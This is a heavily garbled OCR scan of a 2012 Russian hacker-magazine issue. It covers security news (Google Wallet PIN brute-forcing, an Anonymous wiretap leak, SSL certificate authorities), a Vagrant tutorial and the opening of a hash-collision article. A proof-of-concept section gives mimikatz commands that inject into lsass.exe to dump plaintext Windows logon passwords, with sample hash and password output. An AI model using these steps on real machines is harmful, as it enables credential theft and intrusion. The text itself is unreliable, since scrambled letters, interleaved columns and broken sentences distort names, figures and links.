Валидный Ja vaScг ipt: tгу { х;} catch[ 1{ coпsole. log[ 'CODE, У U NO WORK '1; } http://t.co/RT JaNUij

1!!1 Комментарий: liiil Забавное мини-ис следование на тему

Один из моих фаззеров упал с крешем,- плохо, что не экс­

плуатируем о

1943-1945

ра зработчиков атомной бомбы в Ло с ­

http:Ut.co/3uNU3Jii

Причем

ГclcorelancOdЗr:

отн осятся к области те оретической физики.

:1

наименований переменны х в J avaScгipt. Н е экс плойты ломают код.

М ожет быть годным для обхода фильтров,

Разработчики лома ют код

например :1

Гclgeovedi:

Нерды- просто люди , которы е горят чем-то достаточно, чтобы тяжело над этим работать.

П одска зка: на звание

-., ....,

...

~~

, r l ~~ j

White

магическо -автома тическим

Д оро гой Гу гль, я успешно получил

5 уведомлений, 18

6 поп-апав

е-майлов

поп улярной [в области продаж) с и стемы уда ленн ого администрирования? Б ез аутентификации! Symaпtec рсАпуwhеге

исследования-в-области-ИБ>>.

12.5

выполнение произвольнаго кода.

о том, что ты

П ожалуйста, пошли мне еще.

Гclf1nux:

По жа луйста, почем у ... Ну почем у же мы до сих п о р плачем каж­

Гclthealuc:

Это неплохая идея, делать жур­ н а лирование истории консоли

н а твоем веб-сервере: >ltee -а

Гcldaveaitel:

способом на уровень <<Супер лиде рского ­

меняешь политику конфиденциальности.

-/.bash_history 1 loggeг -t <<$USER[$$] $SSH_CONNECTION>>I

дый раз, когда прои схо дят кося­ ки с

SSL. Ведь

он и так умер неск ол ько лет

Гcli0n1c: Я потерял

80

фолловеров с тех

пор как объявил , что, возможно , о дин из них от в е т с твенен за

взлом экс -мини стра обороны.

на зад. Н астало время ти хой скорби ..

1!!1 liiil

Комментарий :

Гclevacide:

И деиствительно, SSL вымирает, но

Визуальный язык интернет­

мы еще д ержимся за него . Но и уязв имости ,

конфиденциальности в основном

и провалы доверенных корневых центров,­

о защите маленьких д евочек ­

все это лишь подрывает доверие.

ХАКЕР

8 9

. . . . . WP ftwl Удале нный доступ с права ми SYSTEM для наиболее

Рар е г не поднимает ваш те к ст

Гclclarkysj:

и

Гcljoshcorman :

04/159/2012

блондиночек.

011

www.epidemz.net

-

.MEGANEWS

ИНДИЙСКИЙ MICROSOFТSTORE ВЗЛОМАЛИ ХАКЕРЫ ИЗ EVILSHADOWTEAM. Дело не ограничи­ лосьдефейсом, парни также выложили скриншоты с файлами БДмагазина .

НАСВИСТИ МНЕ ССЫЛКУ

ANONYMOUS СЛУШАЕТ

ЗВУКОВОЙАНАЛОГQR-КОДОВГОТОВКРАБОТЕ

ОТ ВЕЗДЕСУЩИХ ХАКЕРОВ НЕ МОГУТ

УКРЫТЬСЯ ДАЖЕ ФБР И ПОЛИЦИЯ

SONIC t NOТIFY CREAТING MEOIA WПН PRESENCE LМ.

1S

f.Sf

lf.YI':IS

NEWS

АВОUТ l!lilШ

IIEМOS

Б ес платно е при ­ ло же ни е Sопiс Experi ences, к оторо е пр е до ста вля е т до · ст уп к о в с е м о п исан ­

о

ным фун к циям , уже

1

вышло и доступно

VIEWERS

в в е рсия х для и Android.

iPhone

D

ели бы нам вздумалось писать обо всехдеяниях хактивистовАnопуmоus, то, наверное, пришлось бы учредить отдельное дополнение к журналу.

Однако некоторые проделки хакеров «бесчисленного ле­ гиона» все же достойны упоминания . Н апример, в прошлом месяце из-за них здорово опозорились ФБР и полиция Скотланд-Ярда. П о сооб щению Би-Би-Си, в январетекуще­ го года хакеры каким-то образом под с лушали телефонный

разговор между экспер тами ФБР и полиции' В ходе беседы сотрудники органов как раз делились информацией о са­

мих Aпoпymous и обсуж дали планы ареста членов гр у ппы , включая даты и имеющиеся доказательства. Хакеры вы­ ложили запись ра згово ра на

SONIC CAST

SONIC liVE

SONIC GOODS

Крометого были опуб ликованы фрагменты переписки по электронной почте между Скотланд-Ярдом и ФБР, гд е

~цWII..-.:10

..... ~~~ey-tch

-

YouTube, где она доступна д о

сих пор: youtu . be/p i ЗspwzUZfQ .

""""""'~

прекрасно видны адрес а остальныхучастников конфе­

ренции [ pasteЬiп . com/BG4jlhaB I. ФБР уже подтверд ило факт перехвата информации и за­ являет, что разыскивает виновников. Подразд е ление по

1]

последнее время мы частенько упоминаем на стра ни цах журнала

бо рьбе с киберпреступностью Скотланд- Я рда также сооб­

QR-коды, да и сами не редко пользуемся ими в жизни. Технология дей­

щает, чтоинцидент расследуется. Правоохранительным

ствительноудобная и, соответст венн о, набираю щая популярность.

орга нам явноочень интерес но, каким образом Анонимы

Но, думаем, многие согласятся с тем, что не всегда удоб но пытать ся навести

смогли заполучи т ь запись.

камеру с мартфона на какой-либо объект, переживая о том, хорошо ли его

видно. Команде стартапа Soпic Notify [ soп i cпoti f y. com l, очевидно, не давала по­ коя та же мысль, и из нее родилась новая техн ология - своеобразный аналог QR-кодов. Звуковой.

По задумке разработчиков, устройства на базе

iOS и Aпdгoid могут на

ультразвуковых частотах обмениваться данными небольшага объема. К при­ меру, возможностей Soпic

Notify вполне достаточн о для передачи сс ылки и ее

мгновенного открытия на телефоне.Кр оме того, ультразвуковой сигнал можно

интегрировать в любой музыкальный трек или звуковую дорожку видеороли­ ка, чтобы слушатель мог получить доступ к дополнительн ой информации. Метаданные можно встроить в любую аудиотрансляцию, что, по мнению создателей, будет востребовано в м узеях или вы ставочных гале реях, для

обеспечения посетителей разнообразными сведениями об экспонатах и их авторах. На концертахтех н ология позволит, к пример у, отк рытьсайтисп ол­ нителя, ил и обнаружит ь страницу с текстом исполняемой песни. Признаем ся, нам на ум почему-то приходят не муз еи и галереи, а несколько иные варианты

при менения технологии

:1.

• СУДОБЯЗАЛ «ВКОНТАКТЕ»

15АПРЕЛЯУОТАЗАПУ-

ВЛАСТИ ШТАТАНЕВАДА

В ПЕРВЫЕ ЧАСЫ ПОСЛЕ

выплатить компенсацию

СТИТ В МОСКВЕ СЕТЬ LТЕ,

ПРИНЯЛИИСТОРИЧЕСКОЕ

СПЕЦОПЕРАЦИИ ПОЗА-

НА САЙТЫ АМЕРИКАНСКИХ

вразмере220000рублей

работающую на частотах

РЕШЕНИЕ: официально

КРЫТИЮ

ФОНДОВЫХ БИРЖ

ввидунарушенияправинтел-

разрешили езду по т рассам

шедшей

общего назначени я роботи -

в с емирной сети с низился

NASDAO, BATS и других осуществила группа LONGwave99. Таким

на композиции группы « Ин-

2500 -2530 М Гц и 2620 -2650 М Гц . ПереходсWiМАХ на LTE с остоится в ночь с 14 на 15

зированным авто м обилям

финити >> и певицы Максим .

апреля .

без водителя .

на 2-3 %, говорятэксперты DeepFi eld Netwoгks .

ли « движение 99 '/о >> .

лектуальнойсобственности

MEGAUPLOAD, про 19 января , трафик

УСПЕШНУЮ DDOS-ATAKY

образом хакеры поддержа -

ХАКЕР

012

www.epidemz.net

04/159/2012

НОВАЯМАС OSX 10.8- Mountain Lion («Горный лев » ) nоявится в nродаж е в концелета 2012 года .

К АК ВЫЖИВАЕТ

ВЗЛОМ

RAPIDSHARE

АДВОКАТ ИЗВЕСТНОГО ФАЙЛООБМЕННИКАДАЛ ИНТЕРВЬЮ

m

ПОДБИРАЕМ

э

egaUpload закрыли, другие файловые хостинги здорово напуганы, нo R apidShaгe в это время живет и здравствует.А ведь всего два года назад файлаобменник упоминался в докладе

RIAA и

МРАА, как одно из

GOOGLEWALLET

PIN

К ВИРТУАЛЬНОМУ БУМАЖНИКУ

лектронную платежную сис т ему запустили еще в середине

Google Wallet 2011 года . Разработка

предназначена для А n dгоid-смар т фонов, имею­

«извес тных мест » по размещению пиратского контента. Как <<рап иде » удалось

щих

уйти из-под прицела правооб л а д ателей, рассказал ресурсуТоггепtFгеаk

по беспроводной связи мало г о ра ди уса дейс т вия. То

адвокат компании Дэниел Р ей мер. П риведем самые интересные тезисы из его

есть

рассказа:

в магазинах с помощью телефо н а и установ л е н ного н а н ем

Google Wallet позволяет расплачиваться за п оку п ки

специально г о приложения. Это не что иное, ка к << в ир т у­

RapidShaгe всегд а по П е рв омутребавани ю правообладателей удаляет

альный бумажник».

любые файлы, размещенные у них н а хостинге. Этим занимается специальный отдел

N FC. Испол ь зуется дан н ая система д л я платежей

Кстати, подобнаятехнология используе т ся д ляоплаты

-anti-abuse depaгtment.

проезда в Лондонском метро и в м етроЯпони и. Д л я п ер е ­

Компания разработала с п е ц иаль н ый краулер, который постоянно монито ­

рит форумы, доски объявленийиварезные блоги в поиске информации о на­

числения средств за покупку или проезд нуж н о лишь

рушении интеллектуальных прав, которые имеют место в системе RapidShaгe.

провести телефоном рядом с т ерминалом оплаты. Вопрос безо п асности п одоб н ых платежных систе м

Собранная информация оценивается, проверяется и обрабатывается все тем же отделом. Конечно, Реймер отказался сообщить подробно сти о краулере или

всегда был актуальной темой. Google заверял, что Google

назвать идентификатор бота. Но отметил, что это <<весьма сложная техноло­

Wallet отлично защищен,- к примеру, использует м икро­ схему Secuгe Element, где в заш иф рован н ам в ид е х рани т

гия>>, способ ная обойти практически любые способы за щиты форумов от неза­

пользовательск и е д анные. Она отделена от самого теле­

регистрированныхпользователей.

Еще в декабре

201 О года компания потратила большие деньги, наняв высо­ кооплачиваемую вашингтонскую фирму Dutko, которая имеет доступ в высшие эшелоны власти и там отстаивает интересы RapidShaгe.B задачу Dutko т акже

фона и ОС, так что только

Google Wa ll et може т работать

входит работа над имиджем RapidShaгe.

и защищено человеком , может быть им же и взломано.

с ней. Но, как показывает практика, все, что создано Ока з алось, подобрать РIN-код к кошельку можно путем

Еще один важный козырь живучего Файлаобменника- отсутствие пар­ тнерской программы. Таковые, по мнению правообладателей, стимулируют

брутфорса, даже без обращения к серверу Google! Виной

пиратс тво.

всему-уязвимости в архитектуре приложения.

Специалист по безопас ности Д жошуа Руби н, сотруд­

В RapidShare уверены: файловый

ник

выгляд етькак

цию . В базе обнаружиласьтаблица со странным названи­

приличный се рви с вроде

zveloLABS, решил внимательно изу ч ить внутреннюю Google Wallet хранит всю информа­

базу данных sqliteЗ , где

ХОПИН Г ДОЛЖеН

ем

Dropbo x'a, как

metadata. В таблице было всеготри строки, но в каждой

из них- крупны й блок бинарных данных.

р есnектабе л ьна я компан и я , кото р а я

Один ряд на зывается gmad _ bytes _aгe_ fun - это нечто

зан има ется исклю­

чительнолегальным

вроде зашифрованн ой файловой системы для хранения

бизнесом .

данных. Содержим ое б инарныхданных в этой строке явно предполагает, что там находится вся информация о бан ­ ковской карте , пишет Рубин. Д ругая строканазывается

devicel nfo, и для понимания

этих данных пр ишлось выяснить, чем они обработаны.

Д а н ные оказалисьскомпилированы при помощи про ­ токола P гotoco l Buffeгs. Это открытая библиотека для уни­ фикации данны х в сообщениях между системами. Чтобы прочитать эти данные, необходимо указать правиль н ый

messagefoгmat в файле .ргоtо [ P гotocol BuffeгBasics: Java l. Сделав подходящий .ргоtо, Джошуа Рубин сумел прочесть данные и был глубоко шокирован. Обнаружились

Unique

Useг IDs [UU IDI, информация об аккаунтах Google IGA IAI и Cloud to DeviceMessaging IC2DM, пуш-уведомле н ия], статус Google Wallet Setup, параметр <<TSA» !видимо,

ОБНОВИЛСЯ ЛЕГЕНДАРНЫЙ МЕДИАПЛЕЕР

Tгusted Seгvices], статус SE, и самое главное-да нн ые • .. :

'

•

•

....

-

О

'

·~

L-

-

~

'1 •

~

CaгdPгoducti oп Lifecycle ICPLCI и PIN-кoдl Хэш

VLC ОБНОВИЛСЯ ДО ВЕРСИИ 2.0 TWOFLOWER. СРЕДИ УЛУЧШЕНИЙ:

достаточно попробовать максимум

1О 000 хэш ей SHA256,

так что криптографич еская защита перестает быть про­ блемой .

Pl N-код подбирается менее чем за секунду даже

на с мартфоне, так что смысл ограничения на пять попыток ввода на сервере полностью теряется, как и смысл всей

ЭКСПЕРИМЕНТАЛЬНАЯ ПОДДЕРЖКАДИСКОВ BLU-R УИ НОВЫХ ФОРМАТОВ. ХАКЕР

PIN -кода хранится в зашифрованном виде

в SHA256. Но зная длину Pl N -ко да la э т о четыре ци фры!,

системы безопасности

zvelo LABS сообщает,

Google Wallet вообще. Эксперт Google уже п ро­

чторазработчик и

информированы абуязвимости и сейчас стараются как можно быстрее закрыть дыру. П осмотреть, как Рубин демонстрирует уязвимость, можно здесь:

youtu.be/ P655GXn E JC .

013

04 / 159/2012

www.epidemz.net

MEGANEWS

ВЫШЕЛ GOOGLE CHROME BETAДЛЯANDROID 4·Й ВЕРСИИ. Интересно, что браузер не поддерживаетflаsh .

ДОВЕРИЕ КSSL­ СЕРТИФИКАТАМ ПАДАЕТ

ЦЕНЗУРА В TWITTER И BLOGGER

ПРОШТРАФИЛСЯ ЕЩЕ ОДИН УДОСТОВЕРЯЮЩИЙ ЦЕНТР

ИНТЕРНЕТ-КОМПАНИИ БУДУТ

ВЫБОРОЧНО ФИЛЬТРОВАТЬ КОНТЕНТ

Комnания

Google

планирует вообще отключить онлай­ новые провер ки аннулированны х

SSL · сертификатов

в будущи х версия х

Chrome . Их заменят офлайновой базой аннулированны х

се ртифи катов, об· НОВЛАТЬСЯ КОТО рая

будет чере з со· фтв ер ны е аnдейты.

н

m

чередной камешек упал в огородсертификатов

SSL в част·

е поднимая шума, компания Тwittегобъявила ото м, что впредь будет блокировать сообщения пользователей в «ОТ·

дельных странах>>, чтобы авторы не нарушал и приняты е там

нормы. Такое сообщение появилось в корпоративном благе Twitteг.

ности и всех нынешних ц ентров сертификации в цел ом .

Там же поясняется, что по мере расширения сервиса, он становит·

Ц ентр сертификации Tгus twave признал факт выдачи такого

с я доступен в ст ранах, где иначе смотрят на << пределы свободы

сертифика т а коммерческой компании для ее корпора тивно й сети.

самовыражен ия>>. В некоторых странах эти пределы таковы, что

Сразу после этого был создан соотве тств ующий тикет в

существовать там Twitteг не может вовсе, нужна <<географическая

Bugzill a,

и на·

чалось активное обсуждение в г руппе mozi lla .dev.secuгity.po licy. Если

ценз ура>>. Пока компания не прибегала к новым возможностям,

удостовер яющий центр ради коммерческой выгоды позволяетс ебе

подчер кивае тся в благе. Разумеется , пользователи не замедли ли

выдать корневой сертификат некой непонятно й компании, зто д ей ·

выраз ить свое возмущение зтим нововведением, и протест под ·

ствительно может обернуться непредсказуемыми последствиями.

держало движение

Фирма может подписать что угодно, не обращая сь в удостоверяющий

тирова ть исполнительный директор Twitteг Дик Костол о. По его

центр, и становится возможной атака типа maп·in·the·middle и даже

словам, система филырации т витав [или целых аккаунтов] нужна

прослушка защищен ного трафика по SSL/ТLS. В итоге проект

Mozilla разослал

Anonymous.

Ситуацию поспешил прокоммен·

не для осуществления цензуры, а для того, чтобы сервис вообще

всем удостоверяющим центрам,

смог продолжить работу в определенных государствах. Сообщения

корневые сертификаты которых постав ляют ся в составе Fiгef ox

будут фильтроваться исключительно по запросу властей и только

и других продуктов

для пользователей сервиса в конкретной стране. Слабое какое-то

Mozilla,

письмо с требованием отозвать все вы­

данные сторон ним организациям вторичные корневые сертификаты

и уничтожи ть используемые для хранения этих сертификатов

HSM·

утешение .

Буквально на следующий день после зто го заявления еще и

Google

модули. Удостоверяющие центры должны выполнить эти треб ова ния

сообщил, что отныне компания тоже может блокироватьдоступ к от·

до

дельным благам, создаваемым на сервисе Bloggeг, по требованию

27 апреля.

Если же требования не будут исполнены,

Mozilla

грозит·

с я исключить сертификаты всех недобросовестных удостоверяющих

правительств определенных стран мира. Впрочем,

центравизсвоего списка.

оставляет читателям благо в возможность отключить переадресацию.

I•J>t>Ч'*/IW-!Ьof"'!!lll_,_

...._.,_..,.

Wolfrain.\lph.:i

1ю

Google хотя бы

WOLFRAM ALPHA - БАЗА ЗНАНИЙ И НАБОР ВЫЧИС · ЛИТЕЛЬНЫХАЛГОРИТМО~ которую часто ошибочно называют поисковиком , под·

. .. ..

..

C:.l·

вергласьсамомузначительно­

муобновлениюза последние годы. Была представлена про-

двинутаяверсияWоlfгаmдlрhа Рго. ПодписканаРго-версию

ПОДАННЫМ OCCASSIONAL GAMER, большая часть

обойдется в 4,99$ в месяц

рынкасмартфоновнабазе

12,99$длястудентов1, но

Windows Phone 7155 %1при­

INTEL ПРЕДСТАВИЛА про· цессоры Саге i5-2380P, i5· 2450Р и i5-2550K на м икро­ архитектуре Saпdy Bridge.

сейчастакжепредоставляется

надлежит НТС . Следом идут

Главное отличие новинок­

и бесплатный тестовый период

Samsung 128%1, LG 112%1 и Nokia 14%1.

заблокированный

длительностью 14дней .

ХАКЕР

011.

www.epidemz.net

GPU.

04/159/2012

.•

'

ф WeXLeГ.

ОБ ОКОНЧАНИИСЛУШАНИЙ П О ДЕЛУТНЕ т олько

PIRATE ВАУ И

НЕ

www.wexteг.гu

Электронная книга с доступом в Интернет v

Чи

м отри.

и.

v

лушаи.

П О С ЛЕДНИЕСВОДКИ О ПОПУЛЯРНОМТРЕКЕРЕ

<< Кач ай т е мои кн иги б ес nл а тн о и , ес ли они вам понра в ятс я ,

ку п ите б у мажн у ю к оп и ю . Э то ве р н ы й п уть зая в и ть инд уст р ии ато м , ч то жа дн о с ть в е д е т в ни ­

тье

13

длился с

,Ji irate ~ар

ку да ». П ау л о Коэ льо .

а к известно, судебный п роцесс - штука не быстрая. Раз­ бирате л ьство в отноше н ии а д м ин истрации<< П иратской бухты» иск л ю ч ением из этого правило не являлось-суд

2008

года.

Н овость, пришедшая в начале февраля, подводит под этим про ­

цессом о п ределенную черту [хот я и нельзя сказать, что все кончилось!. Дело в т ом, что четверо ос н ова т елей

The P iг a te В ау проиграли в В ерхов­

ном суде Ш веции свою последнюю попытку апелляции. Суд отклонил их апелляцию, оставив в силе приговор от ноября

201 О года , который 4, 8 и 10 месяцев, а также возмеще­ ние правообладателям ущерба в размере 46 миллионов крон [около 6,8 млн долларов!. По идее, теперь Гопфрид Свартхольм, Фредерик предусматриваеттюремные сроки

Нейж, Питер Сунде и Карл Лундетрем должны отправиться в тюрьму. Утешает лишь то, что в виду нюансов шведской судебной системы

[а также потому, что некото р ые и з обви ня емых более не проживают в Швеции! основатели Т РВ не намереваются ни отбывать срок, ни пла ­ тить деньги. Напротив, они планируют обратиться в Суд Европейского

с оюза и бороться дальше. Хотя сам ThePiгate B ay.oгg в приговоре суда не фигурирует, и прямого поста н овления о его закрытии нет, нынешняя

администрация[ккоторойупомянутаячетверкауженеотносится,на данный момент в команде не осталось ни одного из тех , кто начинал это

дело), решила перестраховаться. Самые внимательные наши читатели наверняка заметили, что в февралетрекер переехал в шведскуюдо­ менную зону .SE, где и остается на моме н т написания этих строк. Таким

образо м«Пиратскуюбухту»укрываютотамериканскихправоохрани­ тельных органов, которые т оже давноточатзуб на популярный ресурс. Поте м же причинам ТРВ в этом месяце начал активный переход на mаgпеt-ссылк и вместо tоггеnt-файлов. Если на серверах «Бухты»

не будет ничего криминального, даже tоггеnt-файлов [каковые,

WEXLER.

в об щем, тоже не являются чем-то плохим, но это еще нужно до­

Т700б

казывать в суде!, обороняться трекеру станет еще легче. К тому же, это nозволяет здорово экономить место на серверах. Пользовател и

toггentfгeak.com уже проверили nосле д нее утверждение: по их данным, общий размер базы трекера сейчас составляет всего мегабайта, или

90

164

мегабай т в архивированном виде' Вот уж дей­

Лучший выбор бесплатных книг

ств ительно, компактность налицо. Н о, nо м им о судов и переездов,

ад ми н истрация <<Бухты» по-nрежнему борется за свободу инфор­

и популярные новинки.

мации в целом. Яркий тому пример-эксперимент по nродвижению

Скачивайте и читайте на

писателей, музы кантов и других творцов - The Ргоmо В ау. П ервым

www.wexLer.ru!

«n родвигаемым>> [хотя, ко н ечно, скорее это он продвигал д а н ный

проектl стал nисатель П ауло Коэльо, чье лицо недавно м ожно было наблюдать на главной стра н ице тоже не одобряет

SO PA и

The Piгate Вау. Оказывается, П ауло

пишет, что продажи его бумажных книг

<<МЕТРО 2033>> Д МИТР И Я ГЛУХ О В С КОГО И ЕЩ Ё

Cl.

только выросли с тех пор, как читатели разместили их н а Р 2Р­

<(

сай тах. В целом, авторские раз д а ч и не новость, нотакой рекламы

о

ДВА РОМАНА КУЛЬТО В ОЙ СЕ РИ И БЕСПЛ АТНО В ЭТО Й ЭЛЕКТ Р О ННО Й КНИГЕ WEXLER

им, пожалуй, еще никто не делал. Коэльо призвал всех творческих

людей поддержать идеютрекера.

Х АКЕР

04/159/2012

YOII

www.epidemz.net

ll!!!IJ

ТЕЛЕФОН ГОРЯЧЕЙ ЛИНИИ: 8 (800) 200 96 60

.HEADER

КОЛОНКАСТЁПЫИЛЬИНА

О БЬIСТРОМ СОЗДАНИИ ВИРТУАЛЬНЬIХ МАШИН ЗА Д АЧА

команда <<Ьох

add

<имя виртуальной машины»>

Один из важных плюсов облачных се рви­

отвечает непосредственно за создание вирту­

сов-возможность быстро поднять столько

альной машины.

серверов, сколько нужно. Хочешь два- будет тебе два. Хочешь сто- два клика мышью и

В качестве параметра ей передается путь до специального Ьох-файла- контейнера,

будет сто. Все зависит только от твоего ко­

позволяющего быстро развернуть на вирту­

шелька, платформа же позволяет разверн ут ь

альной машине нужную ОС. Мы указали не

столько виртуальных серверов [с нужными

просто путь, а ссылку: в этом случае Vagгant

ресурсами), сколько тебе нужно. С виртуаль­

сам выкачивает из сети образ.

ной машиной на домашнем компьютере такой

Команда

<<init>>

инициализирует ОС, причем

фокус не проходит. Чтобы создать виртуалку,

в качестве параметра необходимо указать

задать ей нужные настройки и, что муторнее

тип системы: в нашем случае это 32-битная

всего, установить ОС. уходит уйма време-

Ubuntu Lu cid [10.04)Лосле выполнения этих

ни. В один момент мне стало интересно: а

двух команд создается полностью работоспо ­

можно ли как-то автоматизировать процесс и

собная виртуальная машина с

разворачивать новые виртуальные машины

Посл едняя команда- <<vagгant

по-настоящему быстро? Ну, то есть указать

запускает ее в фоновом режиме.

что-то вроде: «Хочу три виртуальные машины

512 Мб на борту. up»- лишь

Таким образом можно создавать и запу­

с такими-то настройками и установленную на

стить нужное количество виртуалок. Управ ­

них

лять всем этим хозяйством можно опять же

Ubuntu

последней версии>>- и получить

За п уск вирт у ально й м а ш и ны ч е ре з Vagraп t

Vagrantbox.es Thesestar'ldaldleЩ)Iatesarecarledьasetю:r~ aJ'\dtr.swetlsote,ssнnptya~stottюJ.~peopleha...e Ьflf>nr'llceet\OUghtoiТiilkepiA:I~ct,o~vallaЬie

Suggest а

Вох

э ти три виртуальные машины без лишнего

через консоль Vagгant . Работающую виртуаль­

add•ttothe~stl!elow

геморроя. В поисках подходящего решения

ную машину можно оставить:

AvaiJaЬi e

Boxes

я наткнулся на открытый проект Vagгant

[ vagгantup . com ).

vag r ant suspe nd

AeQir

Чтобы посмотреть статус каждой из вир­

РЕШЕНИЕ

туальной машины, есть специальная команда

Используя в качестве основы бесплатный

~

41 AUP

(DeЬwl

AegtfWDeoaт{SiaЬie

для мониторинга :

"40<\J

и потому особенно любимый нами Oгacle's

ViгtuaiBox [4.0.х или

,CJA,eQir(OeЬraгo

~f>4.bl)

lltp

4.l.x), Vagгant позволяет

~graf11.ьaseo~mages

s3 arтw:onaws

tonWagrarc-deЬ!aМE!м)'-

05ЬФ<

vagrant status

создавать и конфигурировать виртуальные К любой из гостевых ОС можно подклю­

машины динамически.

Как это происходит, предлагаю рассмотреть

прямо на примере. Загружаем с

читься по

SSH,

используя сам Vagгant:

Н а с а й т е vа gr а пtЬо х.еs до с т у пны обр аз ы разны х ОС для б ы ст р о г о раз ве рт ыв ания

downloads.

vagгantup . c om нужную версию дистрибутива

[есть версии для Windows, Linux, Мае

05 Х)

vagrant ssh

и

поднимаем наш первый инстанс [виртуальную машину):

Если запустить приложение без пара ме­ тров, то оно выдаст список всех доступных команд.

$ vagrant

Ьох

add lucid32 http: // fi les. vagrantup.com/lucid32 . box $ vagrant init lucid32 $ vagrant up

Пар аметры гостевых ОС можно отконфигу­

рировать[наnример, проnисатьстатические IP), задав нужные настройки в сnециальном с криnте Vagгantfile, который nишется на

Ruby.

С его же помощью можно, к nримеру, про ­ Три команды- и новая виртуальная

бросить nорты до нужной тебе виртуальной

машина с установленной ОС запущена [если,

машины. И , конечно же, ты можешь создавать

конечно, ты не забыл предварительно уста­

свои Ьох-файлы, из которых далее быстро раз­

новить ViгtuaiBox)! Как несложно догадаться,

вертывать гостевые ОС.

К одпро ек т а н а пи с ан на Ruby

ХАКЕР

016

www.epidemz.net

04 / 159/ 201 2

Proof-of-Concept ИЗВЛЕЧЬ ПАРОЛИ ПОЛЬЗОВАТЕЛЕЙ

WINDOWS

ИЗ ПАМЯТИ

Существует немало способов и специальны х утилит, чтобы извлечь хэ ши пользоват ел ь ских паралей из системы. А можно извлечь параль в открытом виде? Можн о!

О ЧЕМ РЕЧЬ?

КАК ЭТО ВЫГЛЯДИТ? mimikatz. Вывод

Не так давно мы делали комплексный материал о том, как можно

Попробуем

сдампить пользовательские парали из Windows-cиcтeмы. Ути­

это не должно nугать: чтобы увидеть па роли, не нужно говорить на

лита

языке Шарля Де Голля:

Windows Cгedentials Editoг- одно из наиболее известных

будет на французском языке, но тебя

и универсальных решений. Однако н е давно французские ис­

следователи выпустили совершенно убойную наработку

mimikatz

mimikatz

1 .е х86

(pre-alpha)

/ * Traiteme nt du Kiwi • ;

[ Ыog.gentilkiW I .com/ mimikatz ]. Помим о уже и звестных приема в, она умеет ... извлекать парали пользователей в открытом виде .

Правда , только тех, которые осуществили вход в системе. Сна­

mimikatz # privilege: : debug Demande d'ACTIVATION du privilege : SeDebugPrivilege

ок

чала мы п одумали, что это фэйк и nодстава, но первый же запуск

утилиты подтверди л- все работает. Прога предоставляет свою собственную консоль, из которой можно запустить необходимые

модули для различных ситуаций [конц епция «швейцарского ножа»]. Для извлечения паралей в виде открытого текста nонадо­ бится всего три команды:

mimikatz # pri vilege: :debug mimikatz # iпject: :process lsass . exe sekurlsa.dll mimikatz # @getlogonPasswords

mimikatz # inject: : process lsass.exe sekurlsa . dll PROCESSENTRY32(lsass.exe).th32ProcessiD = 488 Attente de connexion du client . . . Serveur connecte а un client ! Message du processus : Bienvenue dans un processus distant Gentil Kiwi SekurLSA : librairie de manipulation des donnees de sec urites dan s LSASS mimikatz # @getlogonPasswords Authentification Id : е;43 4 898 Package d'authentification : NTLM Utilisateur principal : Gentil User Domaine d'authentification : vm-w7-ult msvl_e : lm{ е52сасб7 419а9а224а З Ые8fЗfабсЬбd }, ntlm{ 8846f7eaee8fЫ17adeбbdd8ЗeЫ586c } wdigest password password tspkg :

КАК ЭТО РАБОТАЕТ? Казалось бы: нафига хранить парали в открытом виде, если вы­ полнить авторизацию можно даже с nомощью хэша? Н а самом

деле, по с леднее возможно не везде. Поэтому в винде есть специ­

альный поставщик безопасности wdigest [ technet . micгosoft.com/ en-us/libгaгy/cc778868[W5 . 10 ] . asi!XI. чтобы поддерживать такие типы авторизации как, например, НТТ Р

Digest Authentication

и другие схемы, где необходимо з нать па роль [и хэша недоста­ точно]. Напо сле док скажу, что буквально в момент выхода жур­ нала в печать аналогичный функционал появился и в упомянутой Французский вывод

ХАКЕР

mimikatz не должен тебя

пугать

выше утилите

WCE . I

017

04/159/2012

www.epidemz.net

COVERSTORY

Sanjar Satsura [sanja r0xakep.ru, twitter.com/sanjar_satsural

В современном IТ-мире контрольную сумму файла

или любых других важных данных принято считать фундаментом для подтверждения неизменности исходной информации. Но если ты вспомнишь историю с руткитом Stuxпet, то поймешь, что уязвимости в популярных алгоритмах для

расчета таких сумм могут привести к большим

катастрофам . Давай проверим это.

www.epidemz.net

Опа с ный двойник

E''·'tJ:II:ttt На нашем диске ты

Вся информация

найдешь исходники,

предоставлена

описанные

исключительно

в статье, примеры

в ознакомительных

поддельных

целях. Ни редакция,

сертификатов ,

ни автор не несут

а также видео ,

ответственности за

в котором наглядно

любой возможный

покаэан процесс

вред, причиненный материалами данной

генерации коллизий.

статьи.

ЛЕГКИЙ СПОСОБ ПОДДЕЛКИ

КОНТРОЛЬНОЙ

СУММЫ ИЭЦП с помощью

коллизий

www.epidemz.net

COVERSTORY

Те о

ИЯ

недавний взлом keгnel.oгg: тогда лишь самые опытные админи­

38 той 57, 76 и так далее . Таким образом, nары входных значений [38,57 ], [38.761 образуют КОЛЛИЗИИ ДЛЯ ХЭШ-фуНКЦИИ F[x] . Чтобы хэш-функция F считалась криnтаграфически стойкой,

страторы заметили подвох, сравнив контрольную сумму скачанных

она должна удовлетворять трем основным требованиям, на которых

исходников с контрольной суммой, nредставленной на сайте.

основано большинство применений хэш-функций в криnтографии.

Всегда ли ты проверяешь контрольную сумму скачанных из сети файлов? Думаю, нет. Хотя, конечно, для большинства юниксоидов это

привычное дело, ведь целостность и достоверность скачанных обра­ зов и исходниковпорой играет важную роль. Достаточно вспомнить

Ты наверняка знаешь, что контрольная сумма файла зачастую

же хэш-сумму, что и у. В частности, для входного значения

же хэш-суммой будут обладать входные значения

1.

вестными из которых являются

MD4, MD5

и

SHA-1 . Однако

F[x]=m.

с недавних

пор встала огромная проблема подтверждения целостности исходной

Необратимость: для заданногозначения хэш-функции mдолжно быть nрактически невозможно найти блокданных х, для которого

nредставляет собой криnтографические хэш-функции, самыми из­

2.

Стойкость к коллизиям nервого рода: для заданного сообще н ия

информации при помощи более криптастойких алгоритмов хэширова­

m должно быть nрактически

ния [контрольных сумм]. Имя этой nроблемы- коллизии криптогра­

общение n, для которого F[n] = F[m ].

фических хэш-функций. Так, наnример, если хэш-функция исполь­

зуется для создания цифрового ключа, то умение строить для нее

3.

невозможно подоб р а т ь другое со­

Стойкость к коллизиям второго рода: должно быть nракт и чески не­ возможно nодобрать nару сообщений, имеющих одинаковый хэш.

коллизии равносильно умению nодделывать цифровой ключl Именно nоэтому в идеале не должно существовать сnособа поиска коллизий для криnтографических хэш-функций более быстрого, чем nолный

Существует большое количество алгоритмов хэширования

с различными характеристиками [разрядность, вычислительная

перебор [брутфорс] . Если для некоторой хэш-функции находится более

сложность, криnтастойкость и так далее]. Простейшим nримерам

